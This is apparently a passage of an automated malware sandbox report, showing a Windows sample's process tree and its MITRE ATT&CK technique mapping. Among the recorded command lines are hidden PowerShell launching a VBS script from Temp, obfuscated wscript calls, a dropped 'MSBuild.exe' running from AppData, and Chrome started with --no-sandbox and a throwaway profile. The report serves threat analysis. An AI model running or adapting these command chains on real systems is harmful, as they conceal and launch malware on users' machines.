        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\49230464-b2ee-43de-ac65-fc8238e05f3c.dmp"
        8⤵
        
        PID:5348
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4228 -prefsLen 27323 -prefMapHandle 4232 -prefMapSize 270331 -ipcHandle 4240 -initialChannelId {f12e67ec-a64e-4541-bde0-09b80dc2daae} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 rdd
        8⤵
        
        PID:3664
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3664 -prefsLen 34822 -prefMapHandle 3120 -prefMapSize 270331 -jsInitHandle 3160 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2608 -initialChannelId {8def4931-1ba9-47a7-a392-e91e12352d42} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        8⤵
        Checks processor information in registry
        
        PID:4792
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4576 -prefsLen 34876 -prefMapHandle 2680 -prefMapSize 270331 -ipcHandle 2968 -initialChannelId {a217e954-7e46-4a70-9d70-c4b4ed723fc8} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 utility
        8⤵
        Checks processor information in registry
        
        PID:6956
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2796 -prefsLen 32766 -prefMapHandle 5168 -prefMapSize 270331 -jsInitHandle 5172 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5180 -initialChannelId {e35496dc-c677-4b47-bfa4-31f6f8a00b9a} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        8⤵
        Checks processor information in registry
        
        PID:6972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5208 -prefsLen 32766 -prefMapHandle 5212 -prefMapSize 270331 -jsInitHandle 5216 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5224 -initialChannelId {25615f28-1ac4-467c-bc4c-7a9d8b22ce6b} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        Checks processor information in registry
        
        PID:6980
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5572 -prefsLen 32766 -prefMapHandle 5576 -prefMapSize 270331 -jsInitHandle 5580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5584 -initialChannelId {76f6878f-dbe9-499a-8ff9-c01d8fc62be1} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:6996
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5980
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffda137dcf8,0x7ffda137dd04,0x7ffda137dd10
        7⤵
        
        PID:1044
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2028,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:2
        7⤵
        
        PID:4580
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --field-trial-handle=1764,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:11
        7⤵
        
        PID:1472
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --field-trial-handle=1968,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:13
        7⤵
        
        PID:5840
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2840,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:1
        7⤵
        
        PID:5828
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2656,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
        7⤵
        
        PID:6116
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3296,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
        7⤵
        
        PID:6368
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3312,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:9
        7⤵
        
        PID:6372
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3404,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
        7⤵
        
        PID:6388
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3456,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:9
        7⤵
        
        PID:6396
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4172,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:1
        7⤵
        
        PID:4924
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vphmt2uz.vuf" --field-trial-handle=4164,i,6210765156898518558,8179390561176441945,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:14
        7⤵
        
        PID:6948
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 3500
        6⤵
        Program crash
        
        PID:3852

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden "& 'C:\Users\Admin\AppData\Local\Temp\xx2.vbs' "
1⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell.exe -WindowStyle hidden "& 'C:\Users\Admin\AppData\Local\Temp\xx2.vbs' "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\xx2.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\%fOyRe%'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3452
    - - C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\Admin\AppData\Local\Temp\%fOyRe%
        5⤵
        
        PID:5980

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\MSBuild.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Users\Admin\AppData\Roaming\MSBuild.exe
  C:\Users\Admin\AppData\Roaming\MSBuild.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3992 -ip 3992
1⤵
PID:6264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...